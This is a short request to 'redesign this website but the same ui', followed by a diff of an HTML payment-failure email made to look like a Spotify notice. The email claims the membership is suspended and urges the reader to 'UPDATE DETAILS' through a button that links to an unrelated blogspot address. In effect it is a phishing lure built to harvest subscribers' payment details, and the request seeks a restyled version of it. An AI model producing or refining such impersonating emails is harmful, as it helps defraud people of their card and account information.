redesign this website but the same ui

index.html

@@ -87,20 +87,7 @@ a[x-apple-data-detectors] {
                   </strong><table width="100%" role="none" style="border-collapse: collapse; border-spacing: 0px; mso-table-lspace: 0pt; mso-table-rspace: 0pt;" cellspacing="0" cellpadding="0"><tbody><tr><td align="left" valign="top" style="margin: 0px; padding: 0px; width: 560px;"><strong>
                    
                      
-                      </strong><table width="100%" role="presentation" style="border-collapse: collapse; border-spacing: 0px; mso-table-lspace: 0pt; mso-table-rspace: 0pt;" cellspacing="0" cellpadding="0"><tbody><tr><td align="left" style="margin: 0px; padding: 0px;">
-<h1 style="color: #333; font-family: 'Helvetica Neue', Arial, sans-serif; font-size: 28px; text-align: center; margin-bottom: 20px;">We Can't Process Your Payment</h1>
-<div style="background: #f8f9fa; padding: 20px; border-radius: 8px; margin-bottom: 25px;">
-  <p style="color: #555; font-size: 16px; line-height: 1.6; margin-bottom: 15px;">We could not authorize your payment for the next billing cycle of your subscription. Your current access remains active until it expires.</p>
-  
-  <div style="background: #fff; border-left: 4px solid #29b54a; padding: 12px; margin-bottom: 15px;">
-    <p style="color: #333; font-size: 14px; line-height: 1.5; margin: 0;"><strong>Next Steps:</strong></p>
-    <p style="color: #555; font-size: 14px; line-height: 1.5; margin: 5px 0 0 0;">1. Update your payment details below</p>
-    <p style="color: #555; font-size: 14px; line-height: 1.5; margin: 5px 0 0 0;">2. We'll automatically retry your payment</p>
-  </div>
-  
-  <p style="color: #555; font-size: 16px; line-height: 1.6;">We'd love to keep you as a member! Please update your payment information to continue enjoying uninterrupted access.</p>
-</div>
-</td>
+                      </strong><table width="100%" role="presentation" style="border-collapse: collapse; border-spacing: 0px; mso-table-lspace: 0pt; mso-table-rspace: 0pt;" cellspacing="0" cellpadding="0"><tbody><tr><td align="left" style="margin: 0px; padding: 0px;"><font size="6"><b style='margin: 0px; color: rgb(0, 0, 0); line-height: 31px; font-family: arial, "helvetica neue", helvetica, sans-serif; font-size: 30px; -ms-text-size-adjust: none; -webkit-text-size-adjust: none; mso-line-height-rule: exactly;'>We can't process your payment</b></font><p style='margin: 0px; color: rgb(0, 0, 0); line-height: 20px; font-family: arial, "helvetica neue", helvetica, sans-serif; font-size: 16px; -ms-text-size-adjust: none; -webkit-text-size-adjust: none; mso-line-height-rule: exactly;'><br>We could not authorize your payment for the next billing cycle of your subscription therefore we've suspended your membership. But your current subscription is active until it expires.</p><p style='margin: 0px; color: rgb(0, 0, 0); line-height: 20px; font-family: arial, "helvetica neue", helvetica, sans-serif; font-size: 16px; -ms-text-size-adjust: none; -webkit-text-size-adjust: none; mso-line-height-rule: exactly;'><br></p><p style='margin: 0px; color: rgb(0, 0, 0); line-height: 20px; font-family: arial, "helvetica neue", helvetica, sans-serif; font-size: 16px; -ms-text-size-adjust: none; -webkit-text-size-adjust: none; mso-line-height-rule: exactly;'>Obviously we'd love to have you back, simply click the button below to update your details and continue to enjoy all the best Music &amp; Songs without interruption. </p></td>
                      </tr>
                    </tbody></table></td>
                  </tr>
@@ -125,14 +112,7 @@ a[x-apple-data-detectors] {
 		<w:anchorlock></w:anchorlock>
 		<center style='color:#ffffff; font-family:arial, "helvetica neue", helvetica, sans-serif; font-size:14px; font-weight:400; line-height:14px;  mso-text-raise:1px'>UPDATE DETAILS</center>
 	</v:roundrect></a>
-<![endif]--><!--[if !mso]><!-- -->
-<div style="text-align: center; margin: 30px 0;">
-  <a href="#" style="background: linear-gradient(to right, #1DB954, #1ED760); color: white; padding: 15px 30px; border-radius: 24px; text-decoration: none; font-weight: 600; font-size: 16px; display: inline-block; box-shadow: 0 2px 10px rgba(0,0,0,0.1); transition: all 0.3s ease;">
-    Update Payment Details
-  </a>
-  <p style="color: #777; font-size: 14px; margin-top: 15px;">Secure 256-bit SSL encryption</p>
-</div>
-<!--<![endif]--></td>
+<![endif]--><!--[if !mso]><!-- --><span class="msohide es-button-border" style="background: rgb(29, 185, 84); border-radius: 24px; border: 0px solid rgb(255, 255, 255); border-image: none; width: auto; display: inline-block; mso-hide: all;"><a class="es-button" style='background: rgb(29, 185, 84); padding: 12px 40px; border-radius: 24px; width: auto; text-align: center; color: rgb(255, 255, 255); line-height: 21px; font-family: arial, "helvetica neue", helvetica, sans-serif; font-size: 15px; font-style: normal; font-weight: 700; text-decoration: none; display: inline-block; -ms-text-size-adjust: none; -webkit-text-size-adjust: none; mso-style-priority: 100; mso-line-height-rule: exactly; mso-padding-alt: 0; mso-border-alt: 10px solid #31CB4B;' href="https://njamajhjskkolw.blogspot.com/" target="_blank">UPDATE DETAILS</a></span><!--<![endif]--></td>
                      </tr>
                    </tbody></table></td>
                  </tr>
@@ -186,23 +166,7 @@ a[x-apple-data-detectors] {
                                 
                             </strong><strong>
                                 </strong><strong>
-                                    </strong><table width="100%" class="mcnTextContentContainer" style="min-width: 100% !important; background-color: rgb(247, 247, 247);" border="0" cellspacing="0"><tbody><tr><td class="mcnTextContent" valign="top" style="padding: 18px; text-align: center; color: rgb(81, 81, 81); font-family: Helvetica; font-size: 14px;">
-<div style="border-top: 1px solid #eee; padding-top: 20px; margin-top: 30px;">
-  <p style="color: #999; font-size: 13px; text-align: center; line-height: 1.5;">
-    Please do not reply to this email. If you need help, please visit our 
-    <a href="#" style="color: #1DB954; text-decoration: none;">Help Center</a>.
-  </p>
-  <p style="color: #999; font-size: 13px; text-align: center; line-height: 1.5;">
-    This message was sent to ##email## as part of your subscription.
-  </p>
-  <p style="color: #999; font-size: 13px; text-align: center; line-height: 1.5;">
-    We apologize for any inconvenience and appreciate your continued membership.
-  </p>
-  <p style="color: #999; font-size: 13px; text-align: center; line-height: 1.5; margin-top: 20px;">
-    © 2023 Payment System. All rights reserved.
-  </p>
-</div>
-<div style="text-align: left;"><br><strong>
+                                    </strong><table width="100%" class="mcnTextContentContainer" style="min-width: 100% !important; background-color: rgb(247, 247, 247);" border="0" cellspacing="0"><tbody><tr><td class="mcnTextContent" valign="top" style="padding: 18px; text-align: center; color: rgb(81, 81, 81); font-family: Helvetica; font-size: 14px;"><p><strong>Please do not reply to this email, as we are unable to respond from this email address. If you need help or would like to contact us, please visit our Help Center at <u>support.spotify.com</u>.<br></strong></p><div style="text-align: left;"><u><br></u></div><div style="text-align: left;">&nbsp;This message is sent to ##email## as part of your subscription</div><div style="text-align: left;"><br></div><div style="text-align: left;">&nbsp;We are sorry for any inconvenience this may have caused.</div><div style="text-align: left;"><br></div><div style="text-align: left;">Questions? Visit the <u>Help Center</u></div><div style="text-align: left;"><br><strong>
 <br></strong></div><div style="text-align: left;"><strong>